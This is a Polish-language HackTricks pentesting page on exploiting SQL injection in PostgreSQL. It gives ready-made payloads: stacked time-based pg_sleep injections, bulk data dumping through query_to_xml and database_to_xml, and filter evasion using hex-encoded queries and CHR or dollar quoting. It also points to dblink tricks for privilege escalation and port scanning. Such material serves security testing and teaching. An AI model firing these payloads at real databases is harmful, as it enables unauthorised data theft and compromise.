PostgreSQL injection

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Jeśli interesuje Cię kariera w dziedzinie hakerstwa i hakowanie rzeczy niemożliwych do zhakowania - rekrutujemy! (wymagana biegła znajomość języka polskiego, zarówno pisanego, jak i mówionego).


Ta strona ma na celu wyjaśnienie różnych sztuczek, które mogą pomóc Ci wykorzystać wstrzyknięcie SQL znalezione w bazie danych PostgreSQL oraz uzupełnić sztuczki, które znajdziesz na https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/PostgreSQL%20Injection.md

Interakcja sieciowa - Eskalacja uprawnień, Skaner portów, Ujawnienie odpowiedzi na wyzwanie NTLM i Wyciek

Moduł PostgreSQL dblink oferuje możliwości łączenia się z innymi instancjami PostgreSQL i wykonywania połączeń TCP. Te funkcje, w połączeniu z funkcjonalnością COPY FROM, umożliwiają działania takie jak eskalacja uprawnień, skanowanie portów i przechwytywanie odpowiedzi na wyzwanie NTLM. Aby uzyskać szczegółowe metody wykonania tych ataków, sprawdź jak wykonać te ataki.

Możesz przeczytać ten przykład, aby zobaczyć przykład CTF jak załadować dane do dużych obiektów, a następnie wyciec dane z dużych obiektów wewnątrz nazwy użytkownika funkcji dblink_connect.

Ataki na PostgreSQL: Odczyt/zapis, RCE, eskalacja uprawnień

Sprawdź, jak skompromitować hosta i eskalować uprawnienia z PostgreSQL w:

page5432,5433 - Pentesting Postgresql

Ominięcie WAF

Funkcje łańcuchowe PostgreSQL

Manipulowanie łańcuchami może pomóc Ci ominąć WAFy lub inne ograniczenia. W tej stronie znajdziesz kilka przydatnych funkcji łańcuchowych.

Zapytania zagnieżdżone

Pamiętaj, że PostgreSQL obsługuje zapytania zagnieżdżone, ale wiele aplikacji wyświetli błąd, jeśli oczekuje jedynie jednej odpowiedzi, a zwrócone zostaną 2. Mimo to nadal można nadużywać zapytań zagnieżdżonych za pomocą wstrzyknięcia czasu:

id=1; select pg_sleep(10);-- -
1; SELECT case when (SELECT current_setting('is_superuser'))='on' then pg_sleep(10) end;-- -

Triki XML

query_to_xml

Ta funkcja zwróci wszystkie dane w formacie XML w jednym pliku. Jest idealna, jeśli chcesz zrzucić dużo danych w zaledwie 1 wierszu:

SELECT query_to_xml('select * from pg_user',true,true,'');

database_to_xml

Ta funkcja wypisze całą bazę danych w formacie XML w zaledwie 1 wierszu (bądź ostrożny, jeśli baza danych jest bardzo duża, możesz ją zaatakować DoS lub nawet swojego własnego klienta):

SELECT database_to_xml(true,true,'');

Ciągi w formacie szesnastkowym

Jeśli możesz uruchamiać zapytania przekazując je wewnątrz ciągu znaków (na przykład używając funkcji query_to_xml). Możesz użyć funkcji convert_from, aby przekazać ciąg znaków jako szesnastkowy i ominąć w ten sposób filtry:

select encode('select cast(string_agg(table_name, '','') as int) from information_schema.tables', 'hex'), convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573', 'UTF8');

# Bypass via stacked queries + error based + query_to_xml with hex
;select query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,'')-- -h

# Bypass via boolean + error based + query_to_xml with hex
1 or '1' = (query_to_xml(convert_from('\x73656c656374206361737428737472696e675f616767287461626c655f6e616d652c20272c272920617320696e74292066726f6d20696e666f726d6174696f6e5f736368656d612e7461626c6573','UTF8'),true,true,''))::text-- -

Zabronione cudzysłowy

Jeśli nie możesz używać cudzysłowów w swoim ładunku, możesz je ominąć używając CHR do podstawowych klauzul (łączenie znaków działa tylko dla podstawowych zapytań, takich jak SELECT, INSERT, DELETE, itp. Nie działa to dla wszystkich instrukcji SQL):

SELECT CHR(65) || CHR(87) || CHR(65) || CHR(69);

Lub z $. Te zapytania zwracają te same wyniki:

SELECT 'hacktricks';
SELECT $$hacktricks$$;
SELECT $TAG$hacktricks$TAG$;

Jeśli interesuje Cię kariera w hakerstwie i hakowanie rzeczy nie do zhakowania - zatrudniamy! (biegła znajomość języka polskiego w mowie i piśmie wymagana).

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated